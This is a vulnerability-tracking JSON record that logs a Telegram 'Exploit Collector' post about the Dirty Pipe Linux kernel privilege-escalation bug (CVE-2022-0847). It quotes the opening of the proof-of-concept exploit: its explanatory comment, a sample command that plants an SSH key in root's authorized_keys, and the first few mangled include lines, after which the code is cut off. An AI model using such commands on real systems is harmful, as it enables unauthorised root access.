{"uuid": "68abfccf-dd23-4e90-a295-4ffefea1fe50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0847", "type": "seen", "source": "https://t.me/hacking_Attack/45500", "content": "Exploit Collector\nDirty Pipe Linux Privilege Escalation\n\nhttps://2.bp.blogspot.com/-MVgbYjy2n8E/WWlvDeDSliI/AAAAAAAAIK0/xNViOH31E8QoNbofn2xwVueZLLEvjlYYACLcBGAs/s1600/h130.png \nProof of concept for a vulnerability in the Linux kernel existing since version 5.8 that allows overwriting data in arbitrary read-only files. This leads to privilege escalation because unprivileged processes can inject code into root processes.\n\nMD5 | 5689094308e86708965f5bdb2e727f11\n\nDownload\n/* SPDX-License-Identifier: GPL-2.0 */\n/*\n* Copyright 2022 CM4all GmbH / IONOS SE\n*\n* author: Max Kellermann <max.kellermann@ionos.com\n*\n* Proof-of-concept exploit for the Dirty Pipe\n* vulnerability (CVE-2022-0847) caused by an uninitialized\n* \"pipe_buffer.flags\" variable.  It demonstrates how to overwrite any\n* file contents in the page cache, even if the file is not permitted\n* to be written, immutable or on a read-only mount.\n*\n* This exploit requires Linux 5.8 or later; the code path was made\n* reachable by commit f6dd975583bd (\"pipe: merge\n* anon_pipe_buf*_ops\").  The commit did not introduce the bug, it was\n* there before, it just provided an easy way to exploit it.\n*\n* There are two major limitations of this exploit: the offset cannot\n* be on a page boundary (it needs to write one byte before the offset\n* to add a reference to this page to the pipe), and the write cannot\n* cross a page boundary.\n*\n* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\\nssh-ed25519 AAA......\\n'\n*\n* Further explanation: https://dirtypipe.cm4all.com/\n*/\n\n#define _GNU_SOURCE\n#include <unistd.h\n#include <fcntl.h\n#include <stdio.h\n#include <stdlib.h\n#include <string.h\n#include <sys\n#include <sys\n\n#ifndef PAGE_SIZE\n#define PAGE_SIZE 4096", "creation_timestamp": "2026-09-01T20:01:52.803067Z"}